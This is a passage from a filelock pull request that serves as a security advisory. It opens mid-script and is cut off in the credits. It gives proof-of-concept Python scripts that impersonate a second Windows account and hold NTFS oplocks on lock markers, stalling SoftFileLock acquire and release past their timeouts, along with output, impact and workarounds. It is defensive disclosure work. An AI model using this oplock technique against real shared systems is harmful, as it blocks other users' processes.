    wintypes.HANDLE,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]

GENERIC_READ = 0x80000000
SHARE_ALL = 0x7
OPEN_EXISTING = 3
FLAG_OVERLAPPED = 0x40000000
INVALID_HANDLE = wintypes.HANDLE(-1).value
FSCTL_REQUEST_OPLOCK_LEVEL_1 = 0x00090000
ERROR_IO_PENDING = 997
hold = threading.Event()
real_unlink = os.unlink

def impersonate() -> None:
    token = wintypes.HANDLE()
    if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)):
        raise ctypes.WinError(ctypes.get_last_error())
    if not advapi32.ImpersonateLoggedOnUser(token):
        raise ctypes.WinError(ctypes.get_last_error())

def request_level1(path: str) -> tuple[int, Overlapped] | None:
    handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None)
    if handle == INVALID_HANDLE:
        return None
    overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
    if (
        not kernel32.DeviceIoControl(handle, FSCTL_REQUEST_OPLOCK_LEVEL_1, None, 0, None, 0, None, ctypes.byref(overlapped))
        and ctypes.get_last_error() == ERROR_IO_PENDING
    ):
        return handle, overlapped
    kernel32.CloseHandle(handle)
    kernel32.CloseHandle(overlapped.hEvent)
    return None

def drop(granted: tuple[int, Overlapped]) -> None:
    handle, overlapped = granted
    kernel32.CloseHandle(handle)
    kernel32.WaitForSingleObject(overlapped.hEvent, 5000)
    kernel32.CloseHandle(overlapped.hEvent)

def release_under_oplock_requests(label: str, lock_path: str, cycles: int) -> bool:
    stop = threading.Event()
    granted_box: list[tuple[int, Overlapped]] = []

    def spinner() -> None:
        impersonate()
        while not stop.is_set():
            if (granted := request_level1(lock_path)) is not None:
                granted_box.append(granted)
                hold.wait()
                return

    releasing = threading.Event()
    release_durations: list[float] = []

    def owner() -> None:
        # thread_local locks release only on the acquiring thread, so acquire and release stay on this one
        for _ in range(cycles):
            lock = FileLock(lock_path, is_singleton=False)
            lock.acquire(timeout=5)
            started = time.monotonic()
            releasing.set()
            lock.release()
            releasing.clear()
            release_durations.append(time.monotonic() - started)
            if granted_box:
                return

    holder = threading.Thread(target=spinner, daemon=True)
    holder.start()
    owner_thread = threading.Thread(target=owner, daemon=True)
    owner_thread.start()
    owner_thread.join(60)
    stalled = owner_thread.is_alive() and releasing.is_set()
    stop.set()
    longest = max(release_durations, default=0.0) * 1000
    print(f"  {label}: oplock granted: {bool(granted_box)}; cycles run: {len(release_durations)}; longest release: {longest:.1f} ms")
    if stalled:
        print("  release() still running after 60 s while the oplock holder has not answered the break")
        if granted_box:
            drop(granted_box[0])
        owner_thread.join(10)
        print(f"  release() returned after the holder closed its handle: {not owner_thread.is_alive()}")
    return stalled

print("[1a] release() against a second account that keeps requesting a Level 1 oplock, natural window")
stalled_native = release_under_oplock_requests("natural", os.path.join(base, "native.lock"), 500)

print("[1b] the same, with the window between the handle close and the unlink widened to 200 ms")

def slow_unlink(path: str, *, dir_fd: int | None = None) -> None:
    time.sleep(0.2)
    real_unlink(path, dir_fd=dir_fd)

os.unlink = slow_unlink
stalled_scheduled = release_under_oplock_requests("scheduled", os.path.join(base, "native-scheduled.lock"), 20)
os.unlink = real_unlink

print("[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker")
marker = os.path.join(base, "soft.lock")
holder = SoftFileLock(marker, is_singleton=False)
holder.acquire()
holder_fd = holder._context.lock_file_fd  # noqa: SLF001
os.close(holder_fd)  # the marker stays with a live PID, as after a holder that lost only its handle
impersonate_done = threading.Event()
granted_soft: list[tuple[int, Overlapped]] = []

def take_soft_oplock() -> None:
    impersonate()
    if (granted := request_level1(marker)) is not None:
        granted_soft.append(granted)
    impersonate_done.set()
    hold.wait()

threading.Thread(target=take_soft_oplock, daemon=True).start()
impersonate_done.wait(5)
print(f"  oplock granted: {bool(granted_soft)}")
outcome = ["still running after 25 s"]

def contend() -> None:
    started = time.monotonic()
    try:
        SoftFileLock(marker, is_singleton=False).acquire(timeout=1)
        outcome[0] = f"acquired after {time.monotonic() - started:.2f} s"
    except Timeout:
        outcome[0] = f"Timeout after {time.monotonic() - started:.2f} s"
    except OSError as error:
        outcome[0] = f"{type(error).__name__} after {time.monotonic() - started:.2f} s: {error}"

contender = threading.Thread(target=contend, daemon=True)
contender.start()
contender.join(25)
print(f"  contender: {outcome[0]}")
soft_stalled = "still running" in outcome[0]
if granted_soft:
    drop(granted_soft[0])
    contender.join(10)
    print(f"  after the holder closed: {outcome[0]}")
hold.set()
print("STALLS" if stalled_native or stalled_scheduled or soft_stalled else "BOUNDED")

Recorded output of section [2]:

[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker
  oplock granted: True
  contender: Timeout after 10.02 s
  after the holder closed: Timeout after 10.02 s

oplock_semantics_vm.py

"""
Which path operations wait for an unanswered oplock break on Windows 11 NTFS. Same account, one process.

Run on the VM: C:\\venvs\\rev4F\\Scripts\\python.exe oplock_semantics_vm.py C:\\tmp\\rev4F-sem
"""

from __future__ import annotations

import ctypes
import os
import sys
import threading
import time
from ctypes import wintypes

base = sys.argv[1]
os.makedirs(base, exist_ok=True)
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
    wintypes.LPCWSTR,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.HANDLE,
]

class Overlapped(ctypes.Structure):
    _fields_ = (
        ("Internal", ctypes.c_void_p),
        ("InternalHigh", ctypes.c_void_p),
        ("Offset", wintypes.DWORD),
        ("OffsetHigh", wintypes.DWORD),
        ("hEvent", wintypes.HANDLE),
    )

kernel32.DeviceIoControl.argtypes = [
    wintypes.HANDLE,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]
GENERIC_READ, GENERIC_WRITE = 0x80000000, 0x40000000
SHARE_ALL, OPEN_EXISTING, FLAG_OVERLAPPED = 0x7, 3, 0x40000000
INVALID_HANDLE = wintypes.HANDLE(-1).value
LEVELS = {"level1": 0x00090000, "batch": 0x00090008}

def take(path: str, level: str) -> tuple[int, Overlapped]:
    handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None)
    overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
    pending = not kernel32.DeviceIoControl(handle, LEVELS[level], None, 0, None, 0, None, ctypes.byref(overlapped))
    assert pending and ctypes.get_last_error() == 997, ctypes.get_last_error()
    return handle, overlapped

def drop(granted: tuple[int, Overlapped]) -> None:
    kernel32.CloseHandle(granted[0])
    kernel32.WaitForSingleObject(granted[1].hEvent, 5000)
    kernel32.CloseHandle(granted[1].hEvent)

def timed(label: str, operation) -> None:  # noqa: ANN001
    done = threading.Event()
    result = ["still running after 15 s"]

    def run() -> None:
        started = time.monotonic()
        try:
            operation()
            result[0] = f"returned after {(time.monotonic() - started) * 1000:.1f} ms"
        except OSError as error:
            result[0] = f"{type(error).__name__} after {(time.monotonic() - started) * 1000:.1f} ms: {error}"
        done.set()

    threading.Thread(target=run, daemon=True).start()
    done.wait(15)
    print(f"  {label}: {result[0]}")
    return done

def open_read(path: str) -> None:
    os.close(os.open(path, os.O_RDONLY | os.O_BINARY))

def open_write(path: str) -> None:
    os.close(os.open(path, os.O_RDWR | os.O_BINARY))

def create_new(path: str) -> None:
    os.close(os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_BINARY))

for level in LEVELS:
    for label, operation, consumes in (
        ("os.open O_RDONLY", open_read, False),
        ("os.open O_RDWR", open_write, False),
        ("os.open O_CREAT|O_EXCL on the existing file", create_new, False),
        ("os.utime by path", lambda p: os.utime(p, None), False),
        ("os.rename", lambda p: os.rename(p, p + ".moved"), True),
        ("os.unlink", os.unlink, True),
    ):
        path = os.path.join(base, f"{level}-{label.replace(' ', '_').replace('|', '')}.lock")
        with open(path, "w", encoding="utf-8") as handle:
            handle.write("1\nhost\n")
        granted = take(path, level)
        print(f"{level}, {label}")
        done = timed(label, lambda p=path, op=operation: op(p))
        drop(granted)
        done.wait(5)
        print(f"    after the holder closed: {'done' if done.is_set() else 'still running'}")

The review kept this probe's result as a sentence rather than its printed lines: under a same-account Level 1 or batch oplock, os.open(path, os.O_RDONLY), os.rename and os.unlink were still running after 15 s and returned only once the holder closed its handle; os.utime by path and a failed O_CREAT | O_EXCL create returned at once.

Failure sequence

sequenceDiagram
    participant A as other local account
    participant M as soft.lock marker, no handle open
    participant L as lock user: SoftFileLock(path).acquire(timeout=1)
    participant W as Windows (NTFS)
    A->>W: CreateFileW(soft.lock, GENERIC_READ, share read/write/delete, FILE_FLAG_OVERLAPPED)
    A->>W: DeviceIoControl(FSCTL_REQUEST_OPLOCK_LEVEL_1), granted, break never acknowledged
    L->>W: os.open(soft.lock, O_CREAT|O_EXCL) fails with EEXIST at once
    L->>W: os.lstat(soft.lock) regular file
    rect rgb(255, 214, 214)
        L->>W: os.open(soft.lock, O_RDONLY) inside _read_lock_file
        Note over L,W: CreateFileW asks A to break the oplock and waits#59; the 1 s deadline, blocking=False and cancel_check are not consulted
        W-->>L: handle after 10.02 s (two-account run), or when A closes (same-account probe)
    end
    L->>L: _check_give_up: past the deadline, raise Timeout after 10.02 s
    Note over A,M: a stale marker takes the same wait in Path.rename and Path.unlink, so it is not broken

Loading

Evidence

Section [2] of oplock_vm.py acquired soft.lock as the test account, closed the holder's descriptor so the marker stayed with a live process id and no open handle, took a Level 1 oplock through the second account's read handle (oplock granted: True), and ran SoftFileLock(marker, is_singleton=False).acquire(timeout=1) on a thread. The call returned Timeout after 10.02 s, before the holder closed. The review did not establish what ends the wait at 10 s in the two-account runs; section [1a] of the same script, with the second account's handle, shows the same 10 s. In the same-account probe (oplock_semantics_vm.py) the open returned only when the holder closed, still running at 15 s. The probe also shows that the failed exclusive create and os.utime by path return at once, so the wait is in the read and the break, not in the create attempt.

Impact

Each acquire() of a soft lock that finds a marker another account holds an oplock on runs past its timeout, blocking=False and cancel_check until the holder answers or closes, 10 s per attempt in the recorded two-account runs. A stale marker under that oplock is not broken, so no process acquires the lock while the holder keeps its handle. With AsyncSoftFileLock(run_in_executor=False) the wait is on the event loop thread and stops every task in the process; with the default executor one worker thread waits. The documentation names a soft lock as the option for network filesystems, after verification on the mount, and FileLock is a soft lock on builds without fcntl and after its ENOSYS fallback. Mutual exclusion is not affected and nothing other than the marker is read, written or deleted.

Workarounds

• Keep soft-lock markers in a directory whose ACL grants other accounts no access to new files: a directory inside the user profile, or one with inheritance removed and only the owner, SYSTEM and Administrators granted (icacls <dir> /inheritance:r /grant:r "<owner>:(OI)(CI)F" "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F"). mode does not do this on Windows.
• Run AsyncSoftFileLock with the default executor rather than run_in_executor=False, so that only a worker thread waits.
• No timeout, blocking or cancel_check value bounds the wait.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/835

Credits

Found by the maintainers while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4).

• 2026-10-15 23:08 UTC: report received (36 f

[!IMPORTANT]
✂ PR body was truncated to here.

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud